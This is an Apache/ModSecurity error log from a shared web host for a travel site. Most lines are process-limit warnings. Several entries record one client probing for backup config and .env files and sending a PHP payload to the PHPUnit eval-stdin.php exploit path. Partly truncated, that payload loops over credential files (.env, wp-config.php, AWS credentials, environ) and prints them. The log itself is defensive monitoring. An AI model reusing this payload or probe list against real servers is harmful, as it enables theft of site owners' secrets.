[Fri Jul 17 08:55:17.344161 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.344162 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.344340 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnUkXT4NBqALj2lZ8pAAAABA"]
[Fri Jul 17 08:55:17.346468 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.347983 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env.production.old"] [unique_id "almgnVCBpfuYyhJ140vSkgAAAB4"]
[Fri Jul 17 08:55:17.348373 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.production.old"] [unique_id "almgnVCBpfuYyhJ140vSkgAAAB4"]
[Fri Jul 17 08:55:17.348783 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.production.old"] [unique_id "almgnVCBpfuYyhJ140vSkgAAAB4"]
[Fri Jul 17 08:55:17.348939 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.349124 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnVCBpfuYyhJ140vSkgAAAB4"]
[Fri Jul 17 08:55:17.351489 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.353967 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.357123 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.365430 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.370857 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','sites/default/settings..."] [hostname "2s-travels.com"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "almgnSRF0UOO1RzB5_8uAgAAAA4"]
[Fri Jul 17 08:55:17.371351 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','sites/default/settings..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "almgnSRF0UOO1RzB5_8uAgAAAA4"]
[Fri Jul 17 08:55:17.373719 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array(.env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../.aws/credential..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "almgnSRF0UOO1RzB5_8uAgAAAA4"]
[Fri Jul 17 08:55:17.374324 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: .env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/config/database.php','application/application/application/application/extra/database.php','app/etc/env.php','sites/default/.aws/credentials','/var/www/html/.env','/var/www/html/.env.local','/var/www/html/.env...."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "almgnSRF0UOO1RzB5_8uAgAAAA4"]
[Fri Jul 17 08:55:17.377239 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.381484 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.384097 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.384239 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.385132 2026] [authz_core:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.bak
[Fri Jul 17 08:55:17.385240 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.389199 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.391977 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.394230 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.395037 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.396605 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.397589 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS_NAMES:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: {echo \\x22\\x5cn--- FILE $f ---\\x5cn\\x22;if(strpos($f,'environ found within ARGS_NAMES:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: strlen($c)>8){echo \\x22\\x5cn--- FILE $f ---\\x5cn\\x22;if(strpos($f,'environ')!"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/ [hostname "2s-travels.com"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "almgnSRF0UOO1RzB5_8uAgAAAA4"]
[Fri Jul 17 08:55:17.397986 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ;foreach found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','si [hostname "2s-travels.com"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "almgnSRF0UOO1RzB5_8uAgAAAA4"]
[Fri Jul 17 08:55:17.398122 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ;echo $c found within ARGS:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: =false)$c=str_replace(\\x22\\x5c0\\x22,\\x22\\x5cn\\x22,$c);echo $c;}}?>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "almgnSRF0UOO1RzB5_8uAgAAAA4"]
[Fri Jul 17 08:55:17.398250 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS_NAMES:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: {echo found within ARGS_NAMES:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: strlen($c)>8){echo \\x22\\x5cn--- FILE $f ---\\x5cn\\x22;if(strpos($f,'environ')!"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-windows"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "almgnSRF0UOO1RzB5_8uAgAAAA4"]
[Fri Jul 17 08:55:17.398567 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ;foreach found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php', [hostname "2s-travels.com"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "almgnSRF0UOO1RzB5_8uAgAAAA4"]
[Fri Jul 17 08:55:17.398664 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ;echo found within ARGS:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: =false)$c=str_replace(\\x22\\x5c0\\x22,\\x22\\x5cn\\x22,$c);echo $c;}}?>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-windows"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "almgnSRF0UOO1RzB5_8uAgAAAA4"]
